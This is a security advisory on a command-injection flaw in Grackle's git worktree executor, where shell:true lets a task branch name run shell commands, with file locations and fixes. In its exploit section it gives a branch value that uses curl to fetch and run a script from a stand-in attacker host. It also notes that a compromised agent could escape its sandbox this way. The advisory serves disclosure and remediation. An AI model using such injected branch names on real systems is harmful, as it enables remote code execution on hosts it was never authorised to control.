Grackle has command/argument injection in the git worktree executor that enables RCE on provisioned hosts via an unsanitized task branch name (shell:true)

Summary

The default git executor used for all worktree operations spawns git through a shell, and the untrusted task branch name flows into the command unsanitized. A caller able to reach the PowerLine SpawnSession RPC (a malicious or compromised agent acting through the orchestration layer, or any client able to spawn a task) can achieve arbitrary command execution as the PowerLine user on every provisioned environment (SSH host, Docker container, or Codespace), escaping the agent sandbox.

This advisory bundles two related defects in worktree.ts (audit findings F1 and F13).

Affected versions

@grackle-ai/runtime-sdk (and reachable via @grackle-ai/powerline) at version 0.132.1 and earlier. All publishable packages are lockstep-versioned.

F1 — Command injection via shell:true (primary, High)

Location: packages/runtime-sdk/src/worktree.ts:22-28 (sink), :135-143 (branch → args). Source: packages/powerline/src/grpc-server.ts:112 (req.branch), packages/runtime-sdk/src/base-session.ts:60,137.

NODE_GIT_EXECUTOR.exec runs:

const shell = process.env.SHELL || true;   // worktree.ts:24 — always truthy
const result = await execRaw("git", args, { ...options, shell });

When shell is truthy, Node does not pass args as a safe argv vector — it concatenates git + args into a single string run through sh -c with no escaping. The untrusted branch flows unvalidated from the SpawnSession gRPC request into:

["worktree", "add", "-b", branch, wtPath, startPoint]   // worktree.ts:135-137
["worktree", "add", wtPath, branch]                     // fallback :143

sanitizeBranch() (worktree.ts:50) is applied only to compute the on-disk worktree directory path — not to the -b <branch> argument — so it provides zero protection at the injection sink.

Exploit: set a task branch to x;curl http://attacker/x.sh|sh;# or $(touch /tmp/pwned). ensureWorktree runs it under sh -c, yielding RCE as the PowerLine user. (Empirically confirmed during the audit: an args-array branch value evilbranch;touch /tmp/PWNED created the file.)

The sibling git path in runtime-utils.ts:48-56 already uses execFileAsync("git", [...]) with no shell, confirming shell:true is unnecessary here.

F13 — Argument injection: missing -- separator (residual, Low)

Location: packages/runtime-sdk/src/worktree.ts:135-143.

Independent of the shell issue, branch is placed as a positional argument with no -- terminator. The sibling checkoutBranch (runtime-utils.ts:51) correctly uses ["checkout", "--", branch]. Only the fallback invocation (bare trailing positional) is genuinely flag-injectable; git worktree add exposes no dangerous flags reachable this way, so standalone impact is limited — but it should be hardened alongside F1.

Remediation

1. Remove shell from NODE_GIT_EXECUTOR — execFile('git', args) with the argv array is already safe and is the pattern used in runtime-utils.ts. This is the primary fix.
2. Add a -- separator before positional refs/paths in both worktree add invocations.
3. Defense in depth: validate branch at the gRPC boundary (grpc-server.ts) against git ref rules — reject names beginning with -, containing .., or containing shell metacharacters — before it reaches ensureWorktree.